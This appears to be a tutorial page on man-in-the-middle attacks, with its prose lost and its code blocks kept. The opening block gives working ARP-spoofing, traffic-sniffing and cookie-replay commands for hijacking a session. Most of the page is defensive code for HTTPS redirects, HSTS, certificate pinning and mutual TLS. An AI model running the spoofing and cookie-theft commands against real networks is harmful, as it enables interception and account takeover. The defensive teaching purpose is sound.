# Man-in-the-Middle (MitM) Attacks

# Attacker's commands (on local network)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Make victim think attacker is the router
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Make router think attacker is the victim
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

# Now all traffic flows through attacker
wireshark

# Attacker captures traffic
tcpdump -i wlan0 -A | grep "Cookie:"

# Output:
Cookie: session_id=a1b2c3d4e5f6; user=victim@email.com

# Attacker uses stolen cookie
curl https://target.com/account \
  -H "Cookie: session_id=a1b2c3d4e5f6" \
  -H "User-Agent: Mozilla/5.0..."

# Attacker now has full access to victim's account

from flask import Flask, redirect, request

@app.before_request
def force_https():
    if not request.is_secure:
        url = request.url.replace('http://', 'https://', 1)
        return redirect(url, code=301)

@app.after_request
def set_hsts(response):
    response.headers['Strict-Transport-Security'] = \
        'max-age=31536000; includeSubDomains; preload'
    return response

app.use((req, res, next) => {
    if (req.header('x-forwarded-proto') !== 'https') {
        res.redirect(`https://${req.header('host')}${req.url}`);
    } else {
        next();
    }
});

// Set HSTS header
app.use((req, res, next) => {
    res.setHeader('Strict-Transport-Security',
        'max-age=31536000; includeSubDomains; preload');
    next();
});

# Force HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

# Set HSTS Header
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

// Pin specific certificate
let pinnedCertificates: Set<Data> = [
    loadCertificate(name: "bank-cert")
]

func session(_ session: URLSession,
             didReceive challenge: URLAuthenticationChallenge,
             completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {

    guard let serverTrust = challenge.protectionSpace.serverTrust else {
        completionHandler(.cancelAuthenticationChallenge, nil)
        return
    }

    // Get server certificate
    let serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0)
    let serverCertificateData = SecCertificateCopyData(serverCertificate) as Data

    // Check if it matches pinned certificate
    if pinnedCertificates.contains(serverCertificateData) {
        completionHandler(.useCredential, URLCredential(trust: serverTrust))
    } else {
        completionHandler(.cancelAuthenticationChallenge, nil)
    }
}

<!-- res/xml/network_security_config.xml -->
<network-security-config>
    <domain-config>
        <domain includeSubdomains="true">bank.com</domain>
        <pin-set>
            <pin digest="SHA-256">7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=</pin>
            <pin digest="SHA-256">fwza0LRMXouZHRC8Ei+4PyuldPDcf3UKgO/04cDM1oE=</pin>
        </pin-set>
    </domain-config>
</network-security-config>

import ssl
from flask import Flask

app = Flask(__name__)

# Configure mTLS
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.verify_mode = ssl.CERT_REQUIRED  # Require client certificate
context.load_cert_chain('server.crt', 'server.key')
context.load_verify_locations('client-ca.crt')  # Trust client CA

if __name__ == '__main__':
    app.run(ssl_context=context, host='0.0.0.0', port=443)

const https = require('https');
const fs = require('fs');

const options = {
    hostname: 'api.example.com',
    port: 443,
    path: '/api/data',
    method: 'GET',
    cert: fs.readFileSync('client.crt'),
    key: fs.readFileSync('client.key'),
    ca: fs.readFileSync('server-ca.crt')
};

const req = https.request(options, (res) => {
    console.log('Authenticated via mTLS');
    res.on('data', (d) => {
        process.stdout.write(d);
    });
});

req.end();